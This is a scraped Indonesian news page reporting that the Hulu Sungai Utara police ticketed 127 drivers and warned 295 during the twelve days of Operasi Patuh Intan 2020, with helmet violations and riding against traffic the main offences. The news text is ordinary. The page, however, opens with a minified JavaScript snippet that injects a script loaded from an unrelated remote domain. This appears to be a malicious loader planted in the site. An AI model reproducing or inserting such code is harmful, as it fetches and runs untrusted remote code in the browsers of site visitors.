(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

12 Hari Ops Patuh Intan, Satlantas Polres HSU Tilang 127 Pengendara


KANALKALIMANTAN.COM, AMUNTAI – Dua belas hari pelaksanaan Operasi Patuh Intan  2020, Polres HSU telah melalukan penindakan tilang 127 pengendara kendaraan roda dua dan empat.

“Total penindakan dengan tilang sampai 3 Agustus 2020 sebanyak 127 pengendara, sementara ada sebanyak 295 kami lakukan teguran,” ujar Kanit Tilang Sat Lantas Polres HSU Aipda Dedi Setiawan, Senin (3/8/2020).

Aipda Dedi menyampaikan, alasan pengendara lebih sering dikenakan sanksi teguran ketimbang sanksi tilang karena target utama pada Operasi Patuh Intan 2020 memberikan edukasi dan preentif kepada masyarakat. Lebih patuh kepada aturan lalu lintas dan memahami protokol kesehatan pencegahan Covid-19.

Operasi Patuh Intan 2020, Polres HSU telah melakukan penindakan tilang 127 pengendara selam 12 hari. foto: humas polres hsu

“Jadi kalau dilihat dari jumlah tilang pasti turun karena cara tilangnya berbeda, target operasinya berbeda,” ucap dia.

Penindakan dengan tilang didominasi oleh pelanggar tanpa menggunakan helm dan melawan arus.

Untuk diketahui, Operasi Patuh Intan  2020  yang sudah digelar Polres HSU akan berlangsung hingga 5 Agustus, sejak 23 Juli.

Operasi ini dilakukan untuk mendisiplinkan pengguna jalan selama adaptasi kebiasaan baru saat pandemi Covid-19. Sebelumnya, tilang jenis ini ditiadakan untuk mengurangi interaksi langsung antara petugas dengan masyarakat di tengah pandemi Covid-19.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kasat Lantas Polres HSU AKP Sabilal Mahmud menjelaskan, untuk jenis pelanggaran yang menjadi fokus pada Operasi Patuh Intan 2020 yaitu pengendara melawan arus serta, menggunakan HP saat mengendarai, tidak pakai helm SNI, pengendara di bawah umur, mengendara saat mabuk, batas kecepatan dan tidak memakai safety belt.

“Pengendara yang tidak menggunakan helm, pengendara yang memasang strobo atau sirine, serta pelanggaran bahu jalan,” tegas AKP Sabilal. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

3 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

4 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

4 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

5 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

9 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

10 jam ago

This website uses cookies.